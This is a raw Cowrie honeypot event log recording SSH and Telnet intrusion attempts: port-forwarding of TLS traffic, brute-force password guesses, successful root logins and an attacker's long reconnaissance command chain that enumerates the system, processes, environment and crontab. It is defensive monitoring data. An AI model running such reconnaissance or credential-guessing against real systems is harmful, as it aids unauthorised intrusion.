\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.32.24.235:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x14\\xfcX\\xc8\\x01\\xaf\\xc2\\x19 \\xae\\x10\\x97$\\xe2\\xaf\\x1c\\x08a\\x86\\xb1\\xaf\\x0bF\\t\\x19c\\x10#R\\xf1\\x13\\xf6 \\xce\\xc1\\xca=\\xec\\xcb\\x129\\xa1+y\\xc0\\t\\x80V\\xd4\\x8f\\xe1\\xbcl\\x9d\\x99\\x18\\xd4\\xa0`Q/\\x13h\\rs\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x06R\\xbe\\xab\\x7f\\xa5n?B\\xc9\\xf2\\x8b\\xc4\\xe5\\xa3S\\x9bu\\x9aA\\x19\\x05\\xa9\\xcf\\xb29\\xfe\\xafW\\x90\\x02^\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:01.158103Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.153.119","dst_port":443,"src_ip":"77.90.185.17","src_port":54224,"message":"direct-tcp connection request to 142.251.153.119:443 from 127.0.0.1:54224","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:01.270547Z","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.153.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.153.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:01.377406Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.153.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x10\\xa7tx\\xdc\\xc6\\xc5\\xd90\\x0b\\x06]\\xf9`4\\x1f\\xf5\\xb159G\\x9e$q\\x94\\xbdM\\xd1<\\x17d <Dw{1\\xd3:]\\xe8\\xef\\x16y\\x01\\x97E\\xfb\\xec\\xf9t1\\x8f\\x14\\xd1\\xa6\\xa3+\\xeeD\\xc0\\x02|\\x80\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8c?<4*\\x1a\\x86F\\xab*\\xe0\\x96\\xef\\xc4\\xdbB\\x83\\x83\\xcb\\xb5\\x96\\x86\\x01\\x86\\xd34\\x96\\x16\\x9c\\xcb\\xf8N\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.153.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03q\\x10\\xa7tx\\xdc\\xc6\\xc5\\xd90\\x0b\\x06]\\xf9`4\\x1f\\xf5\\xb159G\\x9e$q\\x94\\xbdM\\xd1<\\x17d <Dw{1\\xd3:]\\xe8\\xef\\x16y\\x01\\x97E\\xfb\\xec\\xf9t1\\x8f\\x14\\xd1\\xa6\\xa3+\\xeeD\\xc0\\x02|\\x80\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x8c?<4*\\x1a\\x86F\\xab*\\xe0\\x96\\xef\\xc4\\xdbB\\x83\\x83\\xcb\\xb5\\x96\\x86\\x01\\x86\\xd34\\x96\\x16\\x9c\\xcb\\xf8N\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:01.380841Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:01.531270Z","src_ip":"77.90.185.17","session":"662edb117d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.205.244.74","src_port":38700,"dst_ip":"159.203.135.109","dst_port":23,"session":"70e9356999f0","protocol":"telnet","message":"New connection: 123.205.244.74:38700 (159.203.135.109:23) [session: 70e9356999f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:57:39.849398Z"}
{"eventid":"cowrie.session.closed","duration":30.74153780937195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:10.590847Z","src_ip":"123.205.244.74","session":"70e9356999f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":33952,"dst_ip":"159.203.135.109","dst_port":22,"session":"2914314708b7","protocol":"ssh","message":"New connection: 78.128.112.74:33952 (159.203.135.109:22) [session: 2914314708b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:20.091925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:20.096760Z","src_ip":"78.128.112.74","session":"2914314708b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:20.272738Z","src_ip":"78.128.112.74","session":"2914314708b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"2023","message":"login attempt [root/2023] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:20.590996Z","src_ip":"78.128.112.74","session":"2914314708b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:20.849689Z","src_ip":"78.128.112.74","session":"2914314708b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:20.852813Z","src_ip":"78.128.112.74","session":"2914314708b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:20.962899Z","src_ip":"78.128.112.74","session":"2914314708b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:58:21.297708Z","src_ip":"78.128.112.74","session":"2914314708b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41729,"dst_ip":"159.203.135.109","dst_port":22,"session":"85dfa431a349","protocol":"ssh","message":"New connection: 2.57.121.25:41729 (159.203.135.109:22) [session: 85dfa431a349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:14.269782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:14.274942Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:14.381143Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"sachin","message":"login attempt [user/sachin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:14.878217Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"saab900","message":"login attempt [user/saab900] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:15.991112Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rudolph","message":"login attempt [user/rudolph] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:17.103454Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"ruben","message":"login attempt [user/ruben] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:18.212119Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rowdy","message":"login attempt [user/rowdy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:19.326857Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:00:20.441190Z","src_ip":"2.57.121.25","session":"85dfa431a349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":39850,"dst_ip":"10.17.0.5","dst_port":22,"session":"0341151402f0","protocol":"ssh","message":"New connection: 103.82.27.19:39850 (10.17.0.5:22) [session: 0341151402f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:32.034630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:32.039213Z","src_ip":"103.82.27.19","session":"0341151402f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:32.335198Z","src_ip":"103.82.27.19","session":"0341151402f0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"myspace","message":"login attempt [root/myspace] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:33.175048Z","src_ip":"103.82.27.19","session":"0341151402f0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:04:33.766214Z","src_ip":"103.82.27.19","session":"0341151402f0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo 